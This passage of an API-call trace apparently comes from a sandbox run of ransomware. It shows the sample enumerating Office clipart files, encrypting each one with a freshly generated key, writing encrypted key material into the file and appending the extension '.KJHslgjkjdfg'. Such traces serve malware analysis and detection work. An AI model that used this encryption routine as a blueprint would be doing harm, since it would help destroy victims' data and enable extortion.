SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4c04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.698] SetEndOfFile (hFile=0x130) returned 1 [0198.700] GetProcessHeap () returned 0x2ef0000 [0198.700] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0198.701] GetProcessHeap () returned 0x2ef0000 [0198.701] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0198.701] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105276.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105276.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105276.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105276.wmf.kjhslgjkjdfg")) returned 1 [0198.702] CloseHandle (hObject=0x130) returned 1 [0198.702] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e42c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2d14, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105280.WMF", cAlternateFileName="")) returned 1 [0198.702] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105280.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105280.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0198.703] GetProcessHeap () returned 0x2ef0000 [0198.703] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0198.703] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0198.703] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0198.704] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0198.706] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0198.706] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0198.706] GetProcessHeap () returned 0x2ef0000 [0198.706] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0198.706] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0198.706] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0198.706] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0198.706] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0198.706] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0198.706] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0198.706] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0198.707] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0198.707] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0198.707] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0198.707] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.707] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x2d14, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x2d14, lpOverlapped=0x0) returned 1 [0198.708] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2d20, dwBufLen=0x2d20 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2d20) returned 1 [0198.708] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.708] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2d20, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2d20, lpOverlapped=0x0) returned 1 [0198.708] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0198.708] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2df4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.708] SetEndOfFile (hFile=0x130) returned 1 [0198.711] GetProcessHeap () returned 0x2ef0000 [0198.711] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0198.711] GetProcessHeap () returned 0x2ef0000 [0198.711] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0198.711] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105280.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105280.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105280.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105280.wmf.kjhslgjkjdfg")) returned 1 [0198.714] CloseHandle (hObject=0x130) returned 1 [0198.714] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x12bc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105282.WMF", cAlternateFileName="")) returned 1 [0198.714] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105282.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105282.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0198.715] GetProcessHeap () returned 0x2ef0000 [0198.715] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0198.715] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0198.715] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0198.715] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0198.717] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0198.717] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0198.717] GetProcessHeap () returned 0x2ef0000 [0198.717] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0198.718] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0198.718] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0198.718] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0198.718] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0198.718] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0198.718] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0198.718] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0198.718] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0198.718] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0198.718] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0198.718] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.718] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x12bc, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x12bc, lpOverlapped=0x0) returned 1 [0198.719] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x12c0, dwBufLen=0x12c0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x12c0) returned 1 [0198.719] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.720] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x12c0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x12c0, lpOverlapped=0x0) returned 1 [0198.720] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0198.720] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1394, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.720] SetEndOfFile (hFile=0x130) returned 1 [0198.723] GetProcessHeap () returned 0x2ef0000 [0198.723] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0198.723] GetProcessHeap () returned 0x2ef0000 [0198.723] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0198.723] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105282.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105282.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105282.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105282.wmf.kjhslgjkjdfg")) returned 1 [0198.724] CloseHandle (hObject=0x130) returned 1 [0198.724] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x19a8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105286.WMF", cAlternateFileName="")) returned 1 [0198.724] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105286.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105286.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0198.725] GetProcessHeap () returned 0x2ef0000 [0198.725] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0198.725] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0198.725] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0198.725] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0198.728] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0198.728] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0198.728] GetProcessHeap () returned 0x2ef0000 [0198.728] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0198.728] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0198.728] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0198.728] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0198.728] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0198.728] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0198.728] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0198.728] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0198.728] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0198.729] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0198.729] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0198.729] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.729] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x19a8, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x19a8, lpOverlapped=0x0) returned 1 [0198.730] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x19b0, dwBufLen=0x19b0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x19b0) returned 1 [0198.730] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.730] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x19b0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x19b0, lpOverlapped=0x0) returned 1 [0198.730] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0198.730] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1a84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.730] SetEndOfFile (hFile=0x130) returned 1 [0198.733] GetProcessHeap () returned 0x2ef0000 [0198.733] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0198.733] GetProcessHeap () returned 0x2ef0000 [0198.733] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0198.733] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105286.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105286.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105286.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105286.wmf.kjhslgjkjdfg")) returned 1 [0198.735] CloseHandle (hObject=0x130) returned 1 [0198.735] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3dd8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105288.WMF", cAlternateFileName="")) returned 1 [0198.735] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105288.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105288.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0198.736] GetProcessHeap () returned 0x2ef0000 [0198.736] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0198.736] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0198.736] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0198.736] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0198.764] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0198.765] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0198.765] GetProcessHeap () returned 0x2ef0000 [0198.765] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0198.765] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0198.765] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0198.765] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0198.765] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0198.765] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0198.765] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0198.765] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0198.766] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0198.766] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0198.766] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0198.766] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.766] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x3dd8, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x3dd8, lpOverlapped=0x0) returned 1 [0198.767] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3de0, dwBufLen=0x3de0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3de0) returned 1 [0198.767] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.767] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x3de0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x3de0, lpOverlapped=0x0) returned 1 [0198.767] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0198.767] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3eb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.767] SetEndOfFile (hFile=0x130) returned 1 [0198.770] GetProcessHeap () returned 0x2ef0000 [0198.770] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0198.770] GetProcessHeap () returned 0x2ef0000 [0198.770] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0198.770] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105288.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105288.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105288.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105288.wmf.kjhslgjkjdfg")) returned 1 [0198.772] CloseHandle (hObject=0x130) returned 1 [0198.773] FindNextFileW (in: 